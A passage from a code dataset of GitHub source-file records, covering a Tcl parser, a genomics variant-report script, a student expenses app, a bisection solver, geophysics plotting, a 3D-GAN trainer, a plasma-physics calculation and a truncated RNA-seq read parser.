self.peek())\n self.pop()\n while self.peek() != '\"':\n if self.peek() == '[':\n self.parse_add('QUOTE_STR', wb)\n wb = ''\n self.CMDEXP()\n #wb += f'CMDEXP: {CMDEXP()}'\n elif self.peek() == '$':\n self.parse_add('QUOTE_STR', wb)\n wb = ''\n self.parse_add('VAREXP', self.VAREXP())\n #wb += f'VAREXP: {VAREXP()}'\n else:\n wb += self.peek()\n self.pop()\n \n assert self.peek() == '\"'\n \n if len(wb) > 0: self.parse_add('QUOTE_STR', wb)\n \n #self.parse_add('QUOTE_END', self.peek())\n self.parentextra = ''\n self.extraind = 0\n self.pop()\n \n return wb\n\n # CMD = { ( WORD | ARRAY | CMDEXP | BRACEBLOCK | QUOTEBLOCK | VAREXP ), [ WHITE_SPACE ] } ;\n def CMD(self):\n while not self.EOF():\n \n c = self.peek()\n if self.ALPHANUM(c): # WORD\n self.parse_add('WORD', self.WORD())\n elif c == '[': # CMDEXP\n self.CMDEXP()\n elif c == '{': # BRACEBLOCK\n self.parse_add('WORD', self.BRACEBLOCK())\n elif c == '\"': # QUOTEBLOCK\n self.QUOTEBLOCK()\n elif c == '$': # VAREXP\n self.parse_add('VAREXP', self.VAREXP())\n elif c == ']':\n break\n elif c == ' ':\n self.WHITE_SPACE()\n elif c == '\\n' or c == ';':\n break\n else:\n print(f'unknown token \"{self.peek()}\"')\n self.pop()\n break\n \n \n\n # PROGRAM = { '\\n' | ( '#', { anychar - '\\n' } ) | ( { WHITE_SPACE }, CMD, [ END ] ) }, EOF ;\n def PROGRAM(self):\n while not self.EOF():\n if self.peek() == '\\n':\n self.pop()\n continue\n \n while not self.EOF() and self.peek() == ' ':\n self.WHITE_SPACE()\n \n if not self.EOF() and self.peek() == '#':\n while(not self.EOF() and self.peek() != '\\n'):\n self.pop()\n self.pop() # remove newline after (END)\n continue\n \n #self.CMD()\n self.CMD()\n \n self.cmd_list.append(self.parse_tree)\n self.parse_tree = []\n if not self.EOF() and self.peek() in ';\\n':\n self.END()\n \n assert self.EOF()\n return self.cmd_list\n","repo_name":"PerthGoat/tclpy","sub_path":"tclparse.py","file_name":"tclparse.py","file_ext":"py","file_size_in_byte":5484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"2049202931","text":"#!/usr/bin/env python\n\"\"\"Create SNV report.\"\"\"\n\nimport os\n\nfrom dominate.tags import a, h6, p\nfrom ezcharts.components.bcfstats import load_bcfstats\nfrom ezcharts.components.clinvar import load_clinvar_vcf\nfrom ezcharts.components.ezchart import EZChart\nfrom ezcharts.components.reports.labs import LabsReport\nfrom ezcharts.components.theme import LAB_head_resources\nfrom ezcharts.layout.snippets import DataTable, Stats, Tabs\nfrom ezcharts.plots import util\nfrom ezcharts.plots.categorical import barplot\nfrom ezcharts.plots.matrix import heatmap\nimport numpy as np\nimport pandas as pd\n\nfrom .util import get_named_logger, wf_parser # noqa: ABS101\n\n# Global variables\nColors = util.Colors\n\n# Mutation profile palette to match the COSMIC\n# patterns.\ncmap = {\n 'C>A': Colors.cerulean,\n 'C>G': Colors.black,\n 'C>T': Colors.cinnabar,\n 'T>A': Colors.grey70,\n 'T>C': Colors.medium_spring_bud,\n 'T>G': Colors.fandango,\n}\n\n\ndef indel_sizes(df):\n \"\"\"Extract indel sizes with added 0-values.\"\"\"\n df['nlength'] = df['length (deletions negative)'].astype(int)\n df['count'] = df['number of sites'].astype(int)\n # pad just to pull out axes by a minimum\n counts = df.groupby('nlength') \\\n .agg(count=pd.NamedAgg(column='count', aggfunc='sum')) \\\n .reset_index()\n # Create min/max range of values\n all_counts = pd.DataFrame({\n 'nlength': np.arange(counts.nlength.min() - 1, counts.nlength.max() + 1)\n })\n all_counts = pd.merge(all_counts, counts, on=\"nlength\", how=\"left\").fillna(0)\n # Add values where needed:\n return all_counts\n\n\ndef parse_changes(bcftools_dt):\n \"\"\"Parse changes from counts using same method as in aplanat.\"\"\"\n df = bcftools_dt\n sim_sub = {\n 'G>A': 'C>T', 'G>C': 'C>G', 'G>T': 'C>A',\n 'T>A': 'A>T', 'T>C': 'A>G', 'T>G': 'A>C'}\n\n def canon_sub(sub):\n b1 = sub[0]\n if b1 not in {'A', 'C'}:\n return canon_sub(sim_sub[sub])\n else:\n return b1, sub[2]\n\n df['canon_sub'] = df['type'].apply(canon_sub)\n df['Reference allele'] = df['canon_sub'].apply(lambda x: x[0])\n df['Alternative allele'] = df['canon_sub'].apply(lambda x: x[1])\n df['count'] = df['count'].astype(int)\n df = df[['Reference allele', 'Alternative allele', 'count']] \\\n .groupby(['Reference allele', 'Alternative allele']) \\\n .agg(count=pd.NamedAgg(column='count', aggfunc='sum')) \\\n .reset_index()\n df2 = df.pivot(\n index=\"Alternative allele\",\n columns=\"Reference allele\",\n values=\"count\")\n return df2\n\n\ndef main(args):\n \"\"\"Run the entry point.\"\"\"\n logger = get_named_logger(\"report_snp\")\n clinvar_docs_url = \"https://www.ncbi.nlm.nih.gov/clinvar/docs/clinsig/\"\n\n # Check that the input files exist\n if not os.path.exists(args.vcf_stats):\n raise FileNotFoundError(f\"File {args.vcf_stats} not found.\")\n\n # Load the data\n try:\n bcfstats = load_bcfstats(\n args.vcf_stats,\n sample_names=[args.sample_name])\n except IndexError:\n bcfstats = {'SN': pd.DataFrame(), 'TSTV': pd.DataFrame()}\n # Instantiate the report\n report = LabsReport(\n \"Small variation statistics\", \"wf-human-variation\",\n args.params, args.versions,\n head_resources=[*LAB_head_resources])\n\n # VCF At-a-glance report\n\n with report.add_section('At a glance', 'Summary'):\n tabs = Tabs()\n with tabs.add_tab(args.sample_name):\n if bcfstats['SN'].empty:\n p('The bcftools stats file is empty.')\n else:\n bcfstats['SN'].columns = [\n i.replace('SNP', 'SNV').replace('MNP', 'MNV')\n for i in bcfstats['SN'].columns\n ]\n titv = bcfstats['TSTV']['ts/tv'].values[0]\n nsites = bcfstats['SN']['records'].values[0]\n nsnvs = bcfstats['SN']['SNVs'].values[0]\n nindels = bcfstats['SN']['indels'].values[0]\n Stats(\n columns=4,\n items=[(f'{\"{:,}\".format(int(nsites))}', 'Variants'),\n (f'{\"{:,}\".format(int(nsnvs))}', 'SNVs'),\n (f'{\"{:,}\".format(int(nindels))}', 'Indels'),\n (f'{titv}', 'Ti/Tv')])\n\n # Base statistics\n with report.add_section('Statistics', 'Stats'):\n tabs = Tabs()\n with tabs.add_tab(args.sample_name):\n if bcfstats['SN'].empty:\n p('The bcftools stats file is empty.')\n else:\n DataTable.from_pandas(\n bcfstats['SN'].drop(columns=['id']),\n use_index=False)\n DataTable.from_pandas(\n bcfstats['TSTV'].drop(columns='id'),\n use_index=False)\n\n # ClinVar variants\n if not args.skip_annotation:\n if args.clinvar_vcf is not None:\n if os.path.exists(args.clinvar_vcf):\n with report.add_section('ClinVar variant annotations', 'ClinVar'):\n p(\n \"The \",\n a(\"SnpEff\", href=\"https://pcingola.github.io/SnpEff/\"),\n \" annotation tool has been used to annotate with\",\n a(\"ClinVar\", href=\"https://www.ncbi.nlm.nih.gov/clinvar/\"), '.'\n \" Variants with ClinVar annotations will appear in the \",\n \"table below, ranked according to their significance. \",\n \"'Pathogenic', 'Likely pathogenic', and 'Unknown \",\n \"significance' will be displayed first, in that order. \",\n \"Please note that variants classified as 'Benign' or \",\n \"'Likely benign' are not reported in this table, but \",\n \"will appear in the VCF output by the workflow. For further\",\n \" details on the terms in the 'Significance' column, please\",\n \" visit \",\n a(\"this page\", href=clinvar_docs_url),\n '.')\n # check if there are any ClinVar sites to report\n clinvar_for_report = load_clinvar_vcf(args.clinvar_vcf)\n if clinvar_for_report.empty:\n h6('No ClinVar sites to report.')\n else:\n DataTable.from_pandas(\n clinvar_for_report, export=True, use_index=False)\n\n else:\n # Annotations were skipped\n with report.add_section('ClinVar variant annotations', 'ClinVar'):\n p(\n \"This report was generated without annotations. To see\"\n \" them, re-run the workflow without --skip_annotation.\")\n\n # Change type\n with report.add_section('Substitution types', 'Types'):\n p('Base substitutions aggregated across all samples (symmetrised by pairing).')\n tabs = Tabs()\n with tabs.add_tab(args.sample_name):\n if bcfstats['ST'].empty:\n p('The bcftools stats file is empty.')\n else:\n subtype = parse_changes(bcfstats['ST'])\n plt = heatmap(subtype)\n EZChart(plt, 'epi2melabs')\n\n # Plot mutation spectra if provided\n with report.add_section('Indels length', 'Indels'):\n p('Insertion and deletion lengths aggregated across all samples.')\n tabs = Tabs()\n with tabs.add_tab(args.sample_name):\n if bcfstats['ST'].empty:\n p('The bcftools stats file is empty.')\n else:\n sizes = indel_sizes(bcfstats['IDD'])\n plt = barplot(data=sizes, x=\"nlength\", y=\"count\", color=Colors.cerulean)\n EZChart(plt, 'epi2melabs')\n\n # write report\n report.write(args.report)\n logger.info(f\"Written report to '{args.report}'.\")\n\n\ndef argparser():\n \"\"\"Create argument parser.\"\"\"\n parser = wf_parser(\"report\")\n\n parser.add_argument(\"report\", help=\"Report output file\")\n parser.add_argument(\n \"--read_stats\", default='unknown',\n help=\"read statistics output from bamstats\")\n parser.add_argument(\n \"--vcf_stats\", default='unknown',\n help=\"final vcf stats file\")\n parser.add_argument(\n \"--clinvar_vcf\", required=True,\n help=\"VCF file of variants annotated in ClinVar\")\n parser.add_argument(\n \"--sample_name\", default='Sample',\n help=\"final vcf stats file\")\n parser.add_argument(\n \"--versions\", required=True,\n help=\"directory containing CSVs containing name,version.\")\n parser.add_argument(\n \"--params\", required=True,\n help=\"directory containing CSVs containing name,version.\")\n parser.add_argument(\n \"--skip_annotation\", action=\"store_true\",\n help=\"Do not show ClinVar variants in report.\")\n\n return parser\n","repo_name":"epi2me-labs/wf-human-variation","sub_path":"bin/workflow_glue/report_snp.py","file_name":"report_snp.py","file_ext":"py","file_size_in_byte":8952,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"53"}
+{"seq_id":"42587059125","text":"\"\"\"\n\n\n@author: Nichifor Dragos\n\n\n\n\n\nRequirements:\n\nYou will be given one of the problems below to solve using feature-driven development\nThe program must provide a menu-driven console user interface.\nUse classes to represent the following:\nThe domain entity (complex, expense, student, book)\nA services class that implements the required functionalities\nThe ui class which implements the user interface\nHave 10 programmatically generated entries in the application at start-up.\nUnit tests and specifications for non-UI functions related to the first functionality.\n\n===========================================================================================================\n\n2. Expenses\n\nManage a list of expenses. Each expense has a day (integer between 1 and 30), amount of money (positive integer) and \nexpense type (string). Provide the following features:\n\nAdd an expense. Expense data is read from the console.\nDisplay the list of expenses.\nFilter the list so that it contains only expenses above a certain value read from the console.\nUndo the last operation that modified program data. This step can be repeated.\n\n\"\"\"\n\nimport random\n\nfrom src.domain.domain import Expense\nfrom src.services.services import Services\n\n\nclass StartUi:\n def __init__(self):\n self.__explist = []\n self.__undolist = []\n\n def create_element_list(self, current):\n types = ['food', 'internet', 'housekeeping', 'transport', 'others', 'electricity']\n expense_type = random.choice(types)\n day = random.randint(1, 30)\n value = random.randint(1, 400)\n p = Expense(day, value, expense_type)\n self.__explist.append(p)\n\n def fill_list(self):\n current = 0\n while current < 10:\n current += 1\n self.create_element_list(current)\n\n def print_element(self, day, amount, expense):\n print(\" day: \", day, \" amount: \", amount, \" type of expense: \", expense)\n\n def print_menu(self):\n print(\"1 - add an expense\")\n print(\"2 - display the expenses\")\n print(\"3 - filter by value\")\n print(\"4 - undo\")\n print(\"exit - exit the program\")\n\n def check_command(self, command):\n if command != 1 and command != 2 and command != 3 and command != 4 and command != \"1\" and command != \"2\" \\\n and command != \"3\" and command != \"4\":\n raise ValueError(\"Please enter a valid command!\")\n\n def add_cmd(self, day, amount, expense):\n addition = Services(self.__explist, self.__undolist)\n addition.add_cmd_run(day, amount, expense)\n\n def list_cmd(self):\n if len(self.__explist) == 0:\n print(\"The list has no elements\")\n return\n for i in range(len(self.__explist)):\n k = self.__explist[i]\n self.print_element(k.day, k.amount, k.type_expense)\n\n def filter_cmd(self, value):\n filter_c = Services(self.__explist, self.__undolist)\n filter_c.filter_cmd_run(value)\n\n def undo_cmd(self):\n undo_c = Services(self.__explist, self.__undolist)\n undo_c.undo_cmd_run()\n\n def start(self):\n\n self.fill_list()\n self.__undolist.append(self.__explist[:])\n while True:\n try:\n self.print_menu()\n command = input(\"Please enter the command! \")\n if command.lower() == 'exit':\n print(\"Quiting...\")\n return\n self.check_command(command)\n if command == \"1\" or command == 1:\n day = input(\"The day is: \")\n amount = input(\"The amount is: \")\n expense = input(\"The expense type is: \")\n self.add_cmd(day, amount, expense)\n if command == \"2\" or command == 2:\n self.list_cmd()\n if command == \"3\" or command == 3:\n value = input(\"The value is: \")\n self.filter_cmd(value)\n if command == \"4\" or command == 4:\n self.undo_cmd()\n except ValueError as ve:\n print(ve)\n\n\nif __name__ == '__main__':\n k = StartUi()\n k.start()\n","repo_name":"915-Nichifor-Dragos/UBB","sub_path":"First year/First semester/Fundamentals of programming/Expenses planner/src/ui/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":4190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"34499630564","text":"# -*- coding: utf-8 -*-\n\n\"\"\"INPUT: Function f, endpoint values a, b, tolerance TOL\nCONDITIONS: a < b, either f(a) < 0 and f(b) > 0 or f(a) > 0 and f(b) < 0\n\"\"\"\n\nfrom math import log2\nfrom math import copysign\n\n\ndef bisect(f, a, b, tol):\n if tol <= 0 or tol > b - a:\n print(\"illegal value for tolerance\")\n return\n\n # limit iterations to prevent infinite loop\n\n m = log2(b - a) - log2(tol)\n if m > 1000:\n print(\"failed to find root in 1K iterations\")\n\n i = 0\n while i <= m:\n c = (a + b) / 2\n if f(c) == 0:\n break\n if copysign(1, f(c)) == copysign(1, f(a)):\n a = c\n else:\n b = c\n i = i + 1\n print(\"Found root is\", c, \"after\", i, \"iteration.\")\n","repo_name":"Phi-Li/CalcMethod","sub_path":"bisection.py","file_name":"bisection.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"2796178375","text":"# -*- coding: utf-8 -*-\n\nimport h5py\nimport numpy as np\nfrom geobipy.src.base import plotting as cP\nfrom geobipy.src.inversion.LineResults import LineResults\nfrom geobipy.src.inversion.DataSetResults import DataSetResults\nimport matplotlib.pyplot as plt\nfrom os.path import join\nimport matplotlib as mpl\nimport argparse\nimport os\n\n### Check a single line results file\n\nParser = argparse.ArgumentParser(description=\"Plotting line results\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\nParser.add_argument('datadir', default=None, help='Directory of the data')\nParser.add_argument('h5dir', default='.', help='Directory of HDF5 files')\nParser.add_argument('--outdir', default='.', help='Directory to place the images')\nParser.add_argument('--files', nargs='+', default=None, help='Specific h5 files in h5dir to process. Space separated')\nParser.add_argument('--save', dest='save', default=True, help='Save images to png')\nParser.add_argument('--show', dest='show', default=False, help='Show images to screen')\nParser.add_argument('--dpi', dest='dpi', type=int, default=300, help='DPI of the saved images')\nParser.add_argument('--size', nargs=2, dest='size', default=None, help='Size of the figures --size dx dy in inches')\nParser.add_argument('--xaxis', dest='xaxis', default='x', help='[x, y, r2d, r3d, or index] Plot the lines against this co-ordinate')\n\nargs = Parser.parse_args()\n\nshow = args.show\nsave = args.save\nxaxis = args.xaxis\n\nfiles = args.files\nif files is None:\n files = [f for f in os.listdir(args.h5dir) if f.endswith('.h5')]\n\nif args.size is None:\n figSize = (20,4)\nelse:\n figSize = (int(args.size[0]), int(args.size[1]))\n\nmpl.rcParams['figure.figsize'] = figSize[0], figSize[1]\n\ndpi = args.dpi\n\n\nfor file in files:\n\n fName = join(args.h5dir, file)\n file = os.path.join(args.outdir, file)\n\n LR = LineResults(fName, systemFilepath=args.datadir)\n\n p = 0\n\n points = [100, 250, 370, 550]\n\n p += 1\n plt.figure(p, figsize=figSize, dpi=dpi)\n LR.plotXsection(bestModel=False, log=10, invertPar=True, vmin=1.0, vmax=np.log10(500.0), cmap='jet', xAxis=xaxis)\n LR.plotDataElevation(linewidth=0.1, xAxis=xaxis)\n #LR.plotDoi(linewidth=0.1, alpha=0.6, percent=40)\n if show: plt.show()\n if save: plt.savefig(file+'_meanModel.png',dpi=dpi)\n\n # p += 1\n # plt.figure(p, figsize=figSize, dpi=dpi)\n # LR.plotBestDataChannel(channel=np.s_[:], yscale='linear', linewidth=0.5, xAxis=xaxis)\n # if show: plt.show()\n # if save: plt.savefig(file+'_predictedData.png',dpi=dpi)\n\n # p += 1\n # plt.figure(p, figsize=figSize, dpi=dpi)\n # LR.plotObservedDataChannel(channel=np.s_[:], yscale='linear', linewidth=0.5, xAxis=xaxis)\n # if show: plt.show()\n # if save: plt.savefig(file+'_observedData.png',dpi=dpi)\n\n # p += 1\n # plt.figure(p, figsize=figSize, dpi=dpi)\n # LR.plotAllBestData(log=10)\n # if show: plt.show()\n # if save: plt.savefig(file+'_allBestData.png', dpi=dpi)\n\n p+=1\n plt.figure(p,figsize=figSize, dpi=dpi)\n LR.plotXsection(bestModel=True, log=10, invertPar=True, vmin=1.0, vmax=np.log10(500.0), cmap='jet', xAxis=xaxis)\n LR.plotDataElevation(linewidth=0.1, xAxis=xaxis)\n #LR.plotHighlightedObservationLocations(iDs=LR.iDs[points])\n if show: plt.show()\n if save: plt.savefig(file+'_bestModel.png',dpi=dpi)\n\n\n p+=1\n plt.figure(p, figsize=figSize, dpi=dpi)\n LR.plotKlayers()\n if show: plt.show()\n if save: plt.savefig(file+'_kLayers.png',dpi=dpi)\n\n # p+=1\n # plt.figure(p, figsize=figSize, dpi=dpi)\n # LR.plotSuccessFail()\n # if show: plt.show()\n # if save: plt.savefig(file+'_successFail.png',dpi=dpi)\n\n p+=1\n plt.figure(p, figsize=figSize, dpi=dpi)\n LR.plotAdditiveError(linestyle='none')\n if show: plt.show()\n if save: plt.savefig(file+'_additive.png',dpi=dpi)\n\n\n p+=1\n plt.figure(p, figsize=figSize, dpi=dpi)\n LR.plotRelativeError(yscale='log', linestyle='none')\n if show: plt.show()\n if save: plt.savefig(file+'_relative.png',dpi=dpi)\n\n# p+=1\n# plt.figure(p, figsize=figSize, dpi=dpi)\n# c=0\n# LR.plotTotalError(channel=c, yscale='log', linestyle='none')\n# if show: plt.show()\n# if save: plt.savefig(file+'_total_channel_'+str(c)+'.png',dpi=dpi)\n#\n# p+=1\n# c=5\n# plt.figure(p, figsize=figSize, dpi=dpi)\n# LR.plotTotalError(channel=c, yscale='log', linestyle='none')\n# if show: plt.show()\n# if save: plt.savefig(file+'_total_channel_'+str(c)+'.png',dpi=dpi)\n#\n# p+=1\n# plt.figure(p, figsize=figSize, dpi=dpi)\n# c=9\n# LR.plotTotalError(channel=c, yscale='log', linestyle='none')\n# if show: plt.show()\n# if save: plt.savefig(file+'_total_channel_'+str(c)+'.png',dpi=dpi)\n\n\n p+=1\n plt.figure(p)\n LR.histogram(nBins=100, log=10)\n if show: plt.show()\n if save: plt.savefig(file+'_histogram.png',dpi=dpi)\n\n p+=1\n plt.figure(p, figsize=figSize, dpi=dpi)\n LR.plotInterfaces(cmap='gray_r', useVariance=False, xAxis=xaxis)\n LR.plotElevation(linewidth=0.1, xAxis=xaxis)\n LR.plotDataElevation(linewidth=0.1, xAxis=xaxis)\n if show: plt.show()\n if save: plt.savefig(file+'_interfaces.png',dpi=dpi)\n\n p+=1\n plt.figure(p, figsize=figSize, dpi=dpi)\n LR.plotOpacity(cmap='gray_r', xAxis=xaxis)\n LR.plotElevation(linewidth=0.1, xAxis=xaxis)\n LR.plotDataElevation(linewidth=0.1, xAxis=xaxis)\n if show: plt.show()\n if save: plt.savefig(file+'_opacity.png', dpi=dpi)\n\n # p+=1\n # plt.figure(p, figsize=figSize, dpi=dpi)\n # LR.plotTransparancy(cmap='gray_r', xAxis=xaxis)\n # LR.plotElevation(linewidth=0.1, xAxis=xaxis)\n # LR.plotDataElevation(linewidth=0.1, xAxis=xaxis)\n # if show: plt.show()\n # if save: plt.savefig(file+'_transparancy.png', dpi=dpi)\n\n\n p+=1\n plt.figure(p, figsize=figSize, dpi=dpi)\n LR.plotAdditiveErrorDistributions(system=0, cmap='gray_r', xAxis=xaxis)\n if show: plt.show()\n if save: plt.savefig(file+'_addErrHist.png',dpi=dpi)\n\n p+=1\n plt.figure(p, figsize=figSize, dpi=dpi)\n LR.plotRelativeErrorDistributions(system=0, cmap='gray_r', xAxis=xaxis)\n if show: plt.show()\n if save: plt.savefig(file+'_relErrHist.png',dpi=dpi)\n\n# p+=1\n# plt.figure(p, figsize=figSize, dpi=dpi)\n# c=0\n# LR.plotTotalErrorDistributions(channel=c, nBins=100)\n# plt.title('Channel '+str(c))\n# if show: plt.show()\n# if save: plt.savefig(file+'_totErrHist_channel_'+str(c)+'.png',dpi=dpi)\n#\n# p+=1\n# plt.figure(p, figsize=figSize, dpi=dpi)\n# c=5\n# LR.plotTotalErrorDistributions(channel=c, nBins=100)\n# plt.title('Channel '+str(c))\n# if show: plt.show()\n# if save: plt.savefig(file+'_totErrHist_channel_'+str(c)+'.png',dpi=dpi)\n#\n# p+=1\n# plt.figure(p, figsize=figSize, dpi=dpi)\n# c=9\n# LR.plotTotalErrorDistributions(channel=c, nBins=100)\n# plt.title('Channel '+str(c))\n# if show: plt.show()\n# if save: plt.savefig(file+'_totErrHist_channel_'+str(c)+'.png',dpi=dpi)\n#\n#\n\n p+=1\n plt.figure(p, figsize=figSize, dpi=dpi)\n LR.plotElevationDistributions(cmap='gray_r', xAxis=xaxis)\n if show: plt.show()\n if save: plt.savefig(file+'_dataElevationHist.png',dpi=dpi)\n\n p+=1\n plt.figure(p, figsize=figSize, dpi=dpi)\n LR.plotKlayersDistributions(cmap='gray_r', xAxis=xaxis)\n if show: plt.show()\n if save: plt.savefig(file+'_kLayersHist.png',dpi=dpi)\n\n p+=1\n plt.figure(p, figsize=figSize, dpi=dpi)\n LR.crossplotErrors()\n if show: plt.show()\n if save: plt.savefig(file+'_crossplotErr.png',dpi=dpi)\n\n plt.close('all')\n\n\n\n LR.close()\n\n","repo_name":"DOI-USGS/geobipy","sub_path":"geobipy/plotting/plotLine.py","file_name":"plotLine.py","file_ext":"py","file_size_in_byte":7583,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"53"}
+{"seq_id":"28838708533","text":"from scheduler.base.base_trainer import Trainer\n\nfrom models.zoo.threedgan import ThreeDGANmodel\nfrom models.losses.gan_loss import GANBCELoss\nfrom utils.mesh import Ellipsoid\nfrom utils.tensor import recursive_detach\n\nimport torch\nimport torch.nn as nn\n\n\nclass ThreeDGANTrainer(Trainer):\n def init_auxiliary(self):\n pass\n\n def init_model(self):\n return ThreeDGANmodel(self.options.model.threedgan)\n\n def init_loss_functions(self):\n return GANBCELoss().cuda()\n\n def train_step(self, input_batch):\n X = input_batch[\"voxel\"]\n device = X.device\n batch_size = X.size(0)\n D = self.model.module.D\n G = self.model.module.G\n D_solver = self.optimizer[\"optimizer_d\"]\n G_solver = self.optimizer[\"optimizer_g\"]\n\n Z = self.generateZ(self.options.model.threedgan, batch_size, device)\n if self.options.model.threedgan.soft_label:\n real_labels = torch.Tensor(batch_size).uniform_(0.7, 1.2).cuda()\n fake_labels = torch.Tensor(batch_size).uniform_(0, 0.3).cuda()\n else:\n real_labels = torch.ones(batch_size).cuda()\n fake_labels = torch.zeros(batch_size).cuda()\n\n ############################\n # (1) Update D network: maximize log(D(x)) + log(1 - D(G(z)))\n ###########################\n d_real = D(X)\n # import ipdb\n # ipdb.set_trace()\n d_real_loss = self.criterion(d_real, real_labels)\n\n fake = G(Z)\n d_fake = D(fake['pred_voxel'])\n d_fake_loss = self.criterion(d_fake, fake_labels)\n\n d_loss = d_real_loss + d_fake_loss\n\n d_real_acu = torch.ge(d_real['pred_label'].squeeze(), 0.5).float()\n d_fake_acu = torch.le(d_fake['pred_label'].squeeze(), 0.5).float()\n d_total_acu = torch.mean(torch.cat((d_real_acu, d_fake_acu), 0))\n\n if d_total_acu <= self.options.model.threedgan.d_thresh:\n D.zero_grad()\n d_loss.backward()\n D_solver.step()\n\n ############################\n # (2) Update G network: maximize log(D(G(z)))\n ###########################\n Z = self.generateZ(self.options.model.threedgan, batch_size, device)\n\n fake = G(Z)\n d_fake = D(fake['pred_voxel'])\n g_loss = self.criterion(d_fake, real_labels)\n\n D.zero_grad()\n G.zero_grad()\n g_loss.backward()\n G_solver.step()\n\n out = fake\n loss_summary = {\n \"loss_D_R\": d_real_loss,\n \"loss_D_F\": d_fake_loss,\n \"loss_D\": d_loss,\n \"loss_G\": g_loss,\n \"acc_D\": d_total_acu\n }\n\n self.losses.update(g_loss.detach().cpu().item())\n # Pack output arguments to be used for visualization\n return recursive_detach(out), recursive_detach(loss_summary)\n\n def generateZ(self, options, batch_size, device):\n if options.z_distribution == \"norm\":\n Z = torch.Tensor(batch_size, options.z_size).normal_(0, 0.33).to(device)\n elif options.z_distribution == \"uni\":\n Z = torch.randn(batch_size, options.z_size, device=device)\n else:\n raise NotImplementedError(\"The distribution of noise not found.\")\n return Z\n\n def optimizers_dict(self):\n return {'optimizer_d': self.optimizer['optimizer_d'],\n 'optimizer_g': self.optimizer['optimizer_g'],\n 'lr_scheduler': self.lr_scheduler}\n\n def log_step(self, loss_summary):\n self.logger.info(\"Epoch %03d/%03d, Step %06d/%06d | %06d/%06d, Time elapsed %s, DLoss %.5f, GLoss %.5f, Acc %.3f\" % (\n self.epoch_count, self.options.train.num_epochs,\n self.step_count - ((self.epoch_count - 1) * self.dataset_size // (\n self.options.train.summary_steps * self.options.train.summary_steps\n )), self.dataset_size,\n self.step_count, self.options.train.num_epochs * self.dataset_size,\n self.time_elapsed,\n loss_summary[\"loss_D\"], loss_summary[\"loss_G\"],\n loss_summary[\"acc_D\"] * 100))\n","repo_name":"walsvid/Generation3D","sub_path":"scheduler/threedgan/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":4078,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"53"}
+{"seq_id":"34953153809","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nfrom read_iterdb_file import read_iterdb_file\n\n\n\n#path='/global/u1/m/maxcurie/max/Cases/jet78697/'\n#profile_name =path+'jet78697.51005_hager_Z6.0Zeff2.35__negom_alpha1.2_TiTe.iterdb' \t\t#name of the profile file\n\npath='/global/u1/m/maxcurie/max/Cases/DIIID175823_250k/'\nprofile_name =path+'DIIID175823.iterdb' \t\t#name of the profile file\n\nrho0, Te, Ti, ne, ni, nz, vrot = read_iterdb_file(profile_name)\n\n'''\nde = np.genfromtxt('profiles_e')\ndi = np.genfromtxt('profiles_i')\ndz = np.genfromtxt('profiles_z')\n\nne = de[:,3]\nni = di[:,3]\nnz = dz[:,3]\n\nTe = de[:,2]\nTi = di[:,2]\nTz = dz[:,2]\n'''\n\nZ = float(input(\"Enter Z for impurity:\\n\"))\n\n#zeff = (ni+nz*Z**2.)*(1./ne)\n\nzeff = (ni+nz*Z**2.)*(1./ni)\n\ntau = zeff*Te/Ti\n\nid = ni/ne\n\nplt.clf()\nplt.plot(rho0,ne,label='ne')\nplt.plot(rho0,nz,label='nz')\nplt.plot(rho0,ni,label='ni')\nplt.plot(rho0,zeff,label='zeff')\nplt.legend()\nplt.title('zeff')\nplt.show()\n\nplt.clf()\n#plt.plot(rho0,(ni+nz*Z**2.),label='(ni+nz*Z**2.)')\n#plt.plot(rho0,1./ne,label='1./ne')\nplt.plot(rho0,zeff,label='zeff')\nplt.legend()\nplt.title('zeff')\nplt.show()\n\nplt.plot(rho0,nz)\nplt.title('nz')\nplt.show()\n\nplt.plot(rho0,id)\nplt.title('id')\nplt.show()\n\nplt.plot(rho0,tau)\nplt.title('tau')\nplt.show()\n\nrho = float(input(\"Enter location of interest:\\n\"))\n\nindex=np.argmin(abs(rho-rho0))\n\nprint('zeff(x/r='+str(rho)+')='+str(zeff[index]))\nprint('id(x/r='+str(rho)+')='+str(id[index]))\nprint('tau(x/r='+str(rho)+')='+str(tau[index]))\n","repo_name":"maxtcurie/mode_finder","sub_path":"calc_zeff_id.py","file_name":"calc_zeff_id.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"11201570199","text":"#!/usr/bin/env python2.7\nimport argparse\nimport fastqutil\nimport rnautil\n\n\n# For testing, use global variables.\nMID_SEQ = \"TTCAACAAT\"\nEND_SEQ = \"TGGAATTCTCGGGTG\"\n\ndef parse_rna_seq(seq, qscore, qcutoff, dlen, plen, blen):\n seq = seq.strip()\n seqlen = len(seq)\n qscore = qscore.strip()\n assert seqlen == len(qscore), \"seq length (%s) != qscore length (%s)\" % (seq, qscore)\n\n # Assume that digital tag always exist, so find MID_SEQ from dlen + 1.\n # dlen + 1 because at least 1 base of promoter region needs to be identified.\n\n # Starting index to search for mid_seq. Inclusive. \n # So it is also the length to skip at the beginning.\n mid_search_start_ind = dlen + 1\n\n # Traverse all occurence of mid_seq in the read. Return the first valid one.\n # Assume that the end_seq is long enough to exclude false positive ones. \n while True:\n mid_start = seq.find(MID_SEQ, mid_search_start_ind)\n if (mid_start == -1):\n return \"MID_SEQ_NOT_FOUND\"\n \n # digital_tag-p-mid-b-end\n if mid_start + len(MID_SEQ) + blen + len(END_SEQ) > seqlen:\n return \"SHORT_SEQ\"\n \n # pstart is random promoter region start (0-based inc)\n # bstart is barcode start\n pstart = dlen\n bstart = mid_start + len(MID_SEQ)\n end_start = bstart + blen\n end_end = end_start + len(END_SEQ)\n \n seq_ex_end = seq[end_start:end_end]\n if seq_ex_end != END_SEQ:\n #return 